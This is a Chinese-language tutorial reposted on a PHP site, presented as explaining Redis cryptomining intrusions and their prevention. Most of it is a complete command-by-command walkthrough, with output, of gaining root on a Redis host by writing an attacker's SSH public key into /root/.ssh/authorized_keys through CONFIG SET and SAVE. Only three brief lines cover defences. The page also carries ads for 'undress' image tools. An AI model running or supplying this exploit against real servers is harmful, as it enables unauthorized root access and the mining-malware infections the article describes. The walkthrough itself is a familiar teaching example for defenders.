搜尋
首頁資料庫Redis淺析Redis挖礦原理,看看如何預防(技巧分享)

這篇文章帶大家聊聊Redis挖礦原理,看看如何預防,分享一下防範的技巧,希望對大家有幫助!

淺析Redis挖礦原理,看看如何預防(技巧分享)

筆者也曾經被挖礦病毒侵襲過,灰常難受,但是其實你只要了解入侵的手段就非常好防範了,今天我們就示範一下如果通過Redis進行提權取得遠端伺服器的Root用戶。 【相關推薦:Redis影片教學

1、首先我們需要一些先決條件

  • ##條件一:你首先要有一個Redis,我們要知道他的連接埠【預設6379】;

  • #條件二:Redis的密碼不能太複雜,或沒有密碼;

  • 條件三:啟動Redis的用戶最好是Root用戶,這樣破壞性更大;

2、開始搞事情

  • #2.1 建立一對秘鑰
透過ssh-keygen產生一對,當然可以使用已經有的都沒有問題。

root@kali:/usr/local/src# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa

接下來透過公鑰產生攻擊鍵值

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt

內容如下

root@kali:/tmp/rediskey# cat foo.txt 

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

這裡前後增加兩個換行符號是為了防止資料連接在一起造成失效問題。

  • 2.2 設定Key到Redis中
#操作如下:

root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK

登入Redis進行檢查,是否已經寫入進Redis中。

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"

  • 2.3 透過Redis保存機制取代系統檔案
且看如下動作

192.168.243.129:6379> config set dir /root/.ssh
OK
192.168.243.129:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.243.129:6379> config set dbfilename "authorized_keys"
OK
192.168.243.129:6379> save
OK
192.168.243.129:6379> exit

這個時候,我們登入遠端主機看下效果。

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~# w

OK,到這裡我們已經提權成功了,那我們看下匯出檔案到底是什麼呢?其實就是Redis的保存檔案形式罷了,有興趣可以自己打開看看,這裡不再展示。

3、如何預防

這個漏洞威力還是挺大的,我們現在只是拿到主機權限一個而已,加入放到定時任務執行一些腳本然後在批量感染呢?

防範的技巧如下:

  • Redis不要監聽在危險IP上,如果有請加防火牆控制;

  • Redis一定要增加密碼限制,且不能是弱口令;

  • Redis盡量不要用Root使用者身分來啟動。

做到如上三點防範Redis挖礦,沒問題的

更多程式相關知識,請造訪:

程式入門! !

以上是淺析Redis挖礦原理,看看如何預防(技巧分享)的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:博客园。如有侵權,請聯絡admin@php.cn刪除
redis事務如何處理redis事務如何處理Apr 10, 2025 pm 05:24 PM

Redis 事務確保原子性、一致性、隔離性和持久性(ACID)屬性,其運作方式如下:啟動事務:使用 MULTI 命令。記錄命令:執行任意數量的 Redis 命令。提交或回滾事務:使用 EXEC 命令提交事務,或 DISCARD 命令回滾事務。提交:若無錯誤,EXEC 命令提交事務,所有命令原子地應用到數據庫。回滾:若有錯誤,DISCARD 命令回滾事務,所有命令被丟棄,數據庫狀態保持不變。

redis如何重啟命令redis如何重啟命令Apr 10, 2025 pm 05:21 PM

Redis 可通過平滑重啟和硬重啟兩種方式重啟。平滑重啟不中斷服務,允許客戶端繼續操作;硬重啟立即終止進程,導致客戶端斷開連接並丟失數據。建議在大多數情況下使用平滑重啟,僅在需要修復嚴重錯誤或清理數據時才使用硬重啟。

如何重啟redis集群如何重啟redis集群Apr 10, 2025 pm 05:18 PM

Redis 集群重啟步驟如下:關閉並清除數據和日誌。啟動種子節點。創建新集群。添加剩餘節點。檢查集群狀態。

redis不同實例如何通信redis不同實例如何通信Apr 10, 2025 pm 05:15 PM

Redis 實例間通信有多種機制:Pub/Sub:發布/訂閱模式,允許高效、低延遲的消息傳遞。 Cluster 模式:分佈式部署方式,提供高可用性和容錯性。 Cross-instance Command:允許直接向另一實例發送命令,適用於臨時操作或管理目的。

redis如何實現多線程redis如何實現多線程Apr 10, 2025 pm 05:12 PM

Redis 通過巧妙地結合 Reactor 模式、線程池和內部多線程機制實現了多線程,從而有效利用多核 CPU,提高吞吐量、優化資源利用,保持低延遲並增強擴展性,滿足不同負載需求。

如何看當前redis版本如何看當前redis版本Apr 10, 2025 pm 05:09 PM

本指南提供了兩種方法來判斷當前 Redis 版本:使用 INFO 命令獲取版本號。使用 --version 選項直接顯示版本號。版本號由主版本號、次版本號和修訂號組成,分別表示重大版本更新、功能增強和次要錯誤修復。

redis如何清理所有數據redis如何清理所有數據Apr 10, 2025 pm 05:06 PM

清理所有 Redis 數據的方法:Redis 2.8 及更高版本: FLUSHALL 命令刪除所有鍵值對。 Redis 2.6 及更低版本: 使用 DEL 命令逐個刪除鍵或使用 Redis 客戶端的刪除方法。替代方法: 重啟 Redis 服務(慎用),或使用 Redis 客戶端(如 flushall() 或 flushdb())。

redis如何保存list類型redis如何保存list類型Apr 10, 2025 pm 05:03 PM

Redis 使用一個內部數組存儲 list 類型,數組中每個元素是一個字符串值,代表一個成員。 Redis 還維護一個計數器來跟踪數組中元素數量。當使用 LPUSH 或 RPUSH 命令時,Redis 會更新計數器並在數組中插入或追加新元素。 LRANGE 命令返回給定範圍內的成員,LSET 更新指定索引處的成員,LREM 移除與給定值匹配的成員。 Redis 的 list 類型的保存方式支持高效的插入、刪除和查找操作。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
3 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

mPDF

mPDF

mPDF是一個PHP庫,可以從UTF-8編碼的HTML產生PDF檔案。原作者Ian Back編寫mPDF以從他的網站上「即時」輸出PDF文件,並處理不同的語言。與原始腳本如HTML2FPDF相比,它的速度較慢,並且在使用Unicode字體時產生的檔案較大,但支援CSS樣式等,並進行了大量增強。支援幾乎所有語言,包括RTL(阿拉伯語和希伯來語)和CJK(中日韓)。支援嵌套的區塊級元素(如P、DIV),

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。